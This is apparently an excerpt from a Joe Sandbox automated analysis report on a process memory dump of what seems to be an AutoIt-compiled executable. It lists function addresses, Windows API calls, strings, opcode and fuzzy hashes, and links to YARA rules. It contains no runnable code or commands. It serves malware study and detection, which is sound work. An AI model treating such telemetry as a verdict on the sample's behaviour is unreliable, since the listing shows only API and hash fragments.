Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: MessageSend$Window_wcslen
String ID: SysListView32
API String ID: 2147712094-78025650
Opcode ID: e0fb2279a14b82998dcb191267eb09310cfd7c0c3f3853f65ffdc8088a960a82
Instruction ID: 88434d6ba049c00f996aa5dbd7800861ab26d12fcb70bed46d55bb5981f2aec3
Opcode Fuzzy Hash: e0fb2279a14b82998dcb191267eb09310cfd7c0c3f3853f65ffdc8088a960a82
Instruction Fuzzy Hash: 0C417371E0021DABDF219F64CC45FFA77A9EF08360F100526FA58E7291D7B59984EB90

Function 00FCBC5E Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 137windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00FCBCFD
IsMenu.USER32(00000000), ref: 00FCBD1D
CreatePopupMenu.USER32 ref: 00FCBD53
GetMenuItemCount.USER32(01188870), ref: 00FCBDA4
InsertMenuItemW.USER32(01188870,?,00000001,00000030), ref: 00FCBDCC

Strings

0, xrefs: 00FCBCA8
2, xrefs: 00FCBD37

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup
String ID: 0$2
API String ID: 93392585-3793063076
Opcode ID: fb1216437414bd2ef7129640a4d01f1e5e64a07c65a10f947dee4542201da0d7
Instruction ID: 2232118b567f1289e53c245d1f4372ded3d17873ebaf5b9c8652ce8b143b4ea0
Opcode Fuzzy Hash: fb1216437414bd2ef7129640a4d01f1e5e64a07c65a10f947dee4542201da0d7
Instruction Fuzzy Hash: A451D074A0020A9BDF10CFA8DA8BFAEBBF8BF45324F14415DE402D7290D7709945EBA1

Function 00FCC874 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 81windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 00FCC913

Strings

stop, xrefs: 00FCC8E4
warning, xrefs: 00FCC8FC
blank, xrefs: 00FCC895
info, xrefs: 00FCC8B4
question, xrefs: 00FCC8CC

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: 22933b8da257b0f9e6ef06ed026f24c7fe3db9e43e64f6fd153b7e8c990391b6
Instruction ID: 1c83c7319e8f36286ecb9359a1df260f27b18a07c95eca571d571f532a0f68dc
Opcode Fuzzy Hash: 22933b8da257b0f9e6ef06ed026f24c7fe3db9e43e64f6fd153b7e8c990391b6
Instruction Fuzzy Hash: 14112E32A89317BAE704AB559D83EEB379CDF15760B10002EF904AA181E775AD0073E4

Function 00FCED19 Relevance: 12.1, APIs: 8, Instructions: 137timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00FCED2A
_wcslen.LIBCMT ref: 00FCED3B
_wcslen.LIBCMT ref: 00FCED79
_wcslen.LIBCMT ref: 00FCEDAF
_wcslen.LIBCMT ref: 00FCEDDF
_wcslen.LIBCMT ref: 00FCEDEF
_wcslen.LIBCMT ref: 00FCEE2B
_wcslen.LIBCMT ref: 00FCEE5A

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: _wcslen$LocalTime
String ID:
API String ID: 952045576-0
Opcode ID: 42d7671c575e4a8a5fbca436451b0a6a511972a0c30e869a95c68c70c72f30bf
Instruction ID: 466a3cd0ecf3e24ad6cf2f70bfe45102671a594a14aac797537bc5ce55ca36e8
Opcode Fuzzy Hash: 42d7671c575e4a8a5fbca436451b0a6a511972a0c30e869a95c68c70c72f30bf
Instruction Fuzzy Hash: 92419265C1021976CB21FBF48C8BECFB7A8AF45710F508466E518E3162FB38E255D3A5

Function 00F7F8D8 Relevance: 12.1, APIs: 8, Instructions: 124COMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,000000FF,?,00000000,?,00FB682C,00000004,00000000,00000000), ref: 00F7F953
ShowWindow.USER32(FFFFFFFF,00000006,?,00000000,?,00FB682C,00000004,00000000,00000000), ref: 00FBF3D1
ShowWindow.USER32(FFFFFFFF,000000FF,?,00000000,?,00FB682C,00000004,00000000,00000000), ref: 00FBF454

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: 459eac916354d7a6165a4b987b4af8049cfb15a9a6d583c04283a79f48a8cfa7
Instruction ID: a73d98fbe8c521c91e9536b741091f4ce473844aaccc01753caedb5801a60243
Opcode Fuzzy Hash: 459eac916354d7a6165a4b987b4af8049cfb15a9a6d583c04283a79f48a8cfa7
Instruction Fuzzy Hash: D9412C32908644BAC7349B2DCD887767BB6AF45320F18C03EE28F56560D676948CFF52

Function 00FF2D03 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00FF2D1B
GetDC.USER32(00000000), ref: 00FF2D23
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00FF2D2E
ReleaseDC.USER32(00000000,00000000), ref: 00FF2D3A
CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 00FF2D76
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00FF2D87
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,00FF5A65,?,?,000000FF,00000000,?,000000FF,?), ref: 00FF2DC2
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00FF2DE1

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: dd2e15bc15c9847f5fa3f849ba0e921d4afb8c4097906230b46ab3ac5e7d8726
Instruction ID: 1a5947b9dfc8260827eb4fe75b106e75be09e00075ccf16cb5f719df9a45e1bf
Opcode Fuzzy Hash: dd2e15bc15c9847f5fa3f849ba0e921d4afb8c4097906230b46ab3ac5e7d8726
Instruction Fuzzy Hash: 95318D72201628BBEB118F50CC89FFB3BADEF09721F044055FE08EA2A1C6759C51D7A0

Function 00FC5622 Relevance: 12.1, APIs: 8, Instructions: 92COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 00FC5637
_memcmp.LIBVCRUNTIME ref: 00FC5659
_memcmp.LIBVCRUNTIME ref: 00FC5671
_memcmp.LIBVCRUNTIME ref: 00FC5684
_memcmp.LIBVCRUNTIME ref: 00FC569E
_memcmp.LIBVCRUNTIME ref: 00FC56B1
_memcmp.LIBVCRUNTIME ref: 00FC56C9
_memcmp.LIBVCRUNTIME ref: 00FC56E4

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 41afbd64daf8c1dc065d7bc1b61c31a8c6c800eb31eeb30f5088338869ef00a4
Instruction ID: 29f0099d984eabeac09e251e9cc8e450f516f5f120983420f34af77e18d2f16d
Opcode Fuzzy Hash: 41afbd64daf8c1dc065d7bc1b61c31a8c6c800eb31eeb30f5088338869ef00a4
Instruction Fuzzy Hash: A621FC62A4091F77D61465108F83FFB335CBF51B94F440028FE059A541F725FE95B2A9

Function 00FE4FAE Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 359COMMON

Download Yara Rule

Strings

NULL Pointer assignment, xrefs: 00FE502E, 00FE5383
Not an Object type, xrefs: 00FE5007

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: 6838cf2460c43cc2f6d7cfff7470611f68509baa775aa6b5d1fed46af6f82bf1
Instruction ID: 9691039940d3d5fefab8f2a1598222808e1e7ff491ea82b5d55b50a8fcf363d6
Opcode Fuzzy Hash: 6838cf2460c43cc2f6d7cfff7470611f68509baa775aa6b5d1fed46af6f82bf1
Instruction Fuzzy Hash: 8FD1E271E0064A9FDF10CFA9C881BAEB7B5BF48718F148069E915EB281E770DD45DB90

Function 00FA1522 Relevance: 10.8, APIs: 7, Instructions: 268COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000000,00000000,?,7FFFFFFF,?,?,00FA17FB,00000000,00000000,?,00000000,?,?,?,?,00000000), ref: 00FA15CE
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000,?,00FA17FB,00000000,00000000,?,00000000,?,?,?,?), ref: 00FA1651
MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00FA17FB,?,00FA17FB,00000000,00000000,?,00000000,?,?,?,?), ref: 00FA16E4
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000,?,00FA17FB,00000000,00000000,?,00000000,?,?,?,?), ref: 00FA16FB

Part of subcall function 00F93820: RtlAllocateHeap.NTDLL(00000000,?,01031444,?,00F7FDF5,?,?,00F6A976,00000010,01031440,00F613FC,?,00F613C6,?,00F61129), ref: 00F93852

MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,?,00FA17FB,00000000,00000000,?,00000000,?,?,?,?), ref: 00FA1777
__freea.LIBCMT ref: 00FA17A2
__freea.LIBCMT ref: 00FA17AE

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: ByteCharMultiWide$__freea$AllocateHeapInfo
String ID:
API String ID: 2829977744-0
Opcode ID: 7019311e55b2d7b87ca16e0899c9f83762eb75046925ffc8ce1f6b72cfaddd12
Instruction ID: cf487835a09ac38535ca6f66e645316986227d3419ca87b0a67f4f10f7178c64
Opcode Fuzzy Hash: 7019311e55b2d7b87ca16e0899c9f83762eb75046925ffc8ce1f6b72cfaddd12
Instruction Fuzzy Hash: EC91C7B2E102169EDF249E74CD41EEE7BB5BF46320F1A4659E801E7281D735DC44EBA0

Function 00FE4523 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 262COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00FE4648
VariantInit.OLEAUT32(?), ref: 00FE4749
VariantClear.OLEAUT32(?), ref: 00FE4753
VariantClear.OLEAUT32(?), ref: 00FE47B0

Strings

Incorrect Object type in FOR..IN loop, xrefs: 00FE472C
Null Object assignment in FOR..IN loop, xrefs: 00FE45D8, 00FE4706, 00FE47BE

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Variant$ClearInit
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2610073882-625585964
Opcode ID: e22b831989b116cde58dd5b98b3504ae1262c9a07e892f2c2a7224e76a1a05e4
Instruction ID: fdf6f5448791bc41bb6bc7adfe6583de0725a12884717499602b1fee89ca7a6a
Opcode Fuzzy Hash: e22b831989b116cde58dd5b98b3504ae1262c9a07e892f2c2a7224e76a1a05e4
Instruction Fuzzy Hash: 38917071E00259ABDF20CFA6CC44FAEBBB9EF46720F10855DF505AB280D770A945DBA0

Function 00FD1187 Relevance: 10.8, APIs: 7, Instructions: 254COMMON

Download Yara Rule

APIs

SafeArrayGetVartype.OLEAUT32(00000001,?), ref: 00FD125C
SafeArrayAccessData.OLEAUT32(00000000,?), ref: 00FD1284
SafeArrayUnaccessData.OLEAUT32(00000001), ref: 00FD12A8
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 00FD12D8
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 00FD135F
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 00FD13C4
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 00FD1430

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: ArraySafe$Data$Access$UnaccessVartype
String ID:
API String ID: 2550207440-0
Opcode ID: e578a2f507a26345e53c85fcc280c23549734a4be9cc51e0d83e4c7108b1c24a
Instruction ID: f543eb3ef4b927c0b56c058612ea6e428303238d10cba9b021472a5c4df0b763
Opcode Fuzzy Hash: e578a2f507a26345e53c85fcc280c23549734a4be9cc51e0d83e4c7108b1c24a
Instruction Fuzzy Hash: FD91D472E00219AFDB00DF94C884BBE77BAFF46725F18412AE540E7391D779A941EB90

Function 00F7948A Relevance: 10.8, APIs: 7, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: 8f3cbe273116fdfcf1955890af8b69424d202f27e6da1010c876884a86758b3f
Instruction ID: 82d0f14144e106b9f4f46f02850de1df380e3c024c336f59774ea8173af11ec4
Opcode Fuzzy Hash: 8f3cbe273116fdfcf1955890af8b69424d202f27e6da1010c876884a86758b3f
Instruction Fuzzy Hash: 29910771D04219AFCB10CFA9CC84AEEBBB8FF49320F18855AE515B7251D778A942DF60

Function 00FE3947 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 240COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00FE396B
CharUpperBuffW.USER32(?,?), ref: 00FE3A7A
_wcslen.LIBCMT ref: 00FE3A8A
VariantClear.OLEAUT32(?), ref: 00FE3C1F

Part of subcall function 00FD0CDF: VariantInit.OLEAUT32(00000000), ref: 00FD0D1F
Part of subcall function 00FD0CDF: VariantCopy.OLEAUT32(?,?), ref: 00FD0D28
Part of subcall function 00FD0CDF: VariantClear.OLEAUT32(?), ref: 00FD0D34

Strings

AUTOIT.ERROR, xrefs: 00FE3A80, 00FE3A85
Incorrect Parameter format, xrefs: 00FE39A6, 00FE3BA1

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper_wcslen
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4137639002-1221869570
Opcode ID: 8521b5f67d95effea3531ac58a6c8f7bd28c2bd808ec70054e8ee0779b7b7d6f
Instruction ID: aa23dce3a93de84f075ff2acaa63ad0a56bfbce4994e77a330fbf0d200176580
Opcode Fuzzy Hash: 8521b5f67d95effea3531ac58a6c8f7bd28c2bd808ec70054e8ee0779b7b7d6f
Instruction Fuzzy Hash: 1991AD75A083459FC700DF25C88892AB7E5FF88714F14886EF88A97351DB34EE45EB82

Function 00FE4BAD Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

APIs

Part of subcall function 00FC000E: CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,00FBFF41,80070057,?,?,?,00FC035E), ref: 00FC002B
Part of subcall function 00FC000E: ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00FBFF41,80070057,?,?), ref: 00FC0046
Part of subcall function 00FC000E: lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00FBFF41,80070057,?,?), ref: 00FC0054
Part of subcall function 00FC000E: CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00FBFF41,80070057,?), ref: 00FC0064

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,00000001,?,?), ref: 00FE4C51
_wcslen.LIBCMT ref: 00FE4D59
CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,?), ref: 00FE4DCF
CoTaskMemFree.OLE32(?), ref: 00FE4DDA

Strings

NULL Pointer assignment, xrefs: 00FE4E23, 00FE4E52

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: FreeFromProgTask$CreateInitializeInstanceSecurity_wcslenlstrcmpi
String ID: NULL Pointer assignment
API String ID: 614568839-2785691316
Opcode ID: 60cfbc5001cafe5d94f5c078c9bdb50242636dc403e7c287b43bf8a38575b6e2
Instruction ID: 5b6bfa6c8ff38d3b5e281912948f09ffaeaf4b817bb99075afd0c87da6e41598
Opcode Fuzzy Hash: 60cfbc5001cafe5d94f5c078c9bdb50242636dc403e7c287b43bf8a38575b6e2
Instruction Fuzzy Hash: 57911671D0025D9BDF14DFA5CC91AEEB7B8BF08310F10416AE915B7291DB74AA44EFA0

Function 00FF20FD Relevance: 10.7, APIs: 7, Instructions: 196windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 00FF2183
GetMenuItemCount.USER32(00000000), ref: 00FF21B5
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 00FF21DD
_wcslen.LIBCMT ref: 00FF2213
GetMenuItemID.USER32(?,?), ref: 00FF224D
GetSubMenu.USER32(?,?), ref: 00FF225B

Part of subcall function 00FC3A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00FC3A57
Part of subcall function 00FC3A3D: GetCurrentThreadId.KERNEL32 ref: 00FC3A5E
Part of subcall function 00FC3A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,00FC25B3), ref: 00FC3A65

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00FF22E3

Part of subcall function 00FCE97B: Sleep.KERNEL32 ref: 00FCE9F3

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Menu$Thread$Item$AttachCountCurrentInputMessagePostProcessSleepStringWindow_wcslen
String ID:
API String ID: 4196846111-0
Opcode ID: e2d7c594835fbeaadc1c806af0cec9a94902df687ac51be34b3a922a3fd112af
Instruction ID: 716da7bfd0b6ca159e022d5c16f56d1b823d81f7fb0c05df6df7957517207648
Opcode Fuzzy Hash: e2d7c594835fbeaadc1c806af0cec9a94902df687ac51be34b3a922a3fd112af
Instruction Fuzzy Hash: 39718F75E00209AFCB50DFA4C841ABEB7B5EF48320F148459E956EB361D738AD41EB90

Function 00FF7E9E Relevance: 10.7, APIs: 7, Instructions: 193windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(01188848), ref: 00FF7F37
IsWindowEnabled.USER32(01188848), ref: 00FF7F43
SendMessageW.USER32(00000000,0000041C,00000000,00000000), ref: 00FF801E
SendMessageW.USER32(01188848,000000B0,?,?), ref: 00FF8051
IsDlgButtonChecked.USER32(?,?), ref: 00FF8089
GetWindowLongW.USER32(01188848,000000EC), ref: 00FF80AB
SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 00FF80C3

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: MessageSendWindow$ButtonCheckedEnabledLong
String ID:
API String ID: 4072528602-0
Opcode ID: ce43e0e3872e7cf3010a950ccc60cfe00fac8f3006433ed7d0ffebf31dc90c89
Instruction ID: f31c7e0744b8c36301fbc50ecd312576edf4341feda1faaf479e1c987bff0e9b
Opcode Fuzzy Hash: ce43e0e3872e7cf3010a950ccc60cfe00fac8f3006433ed7d0ffebf31dc90c89
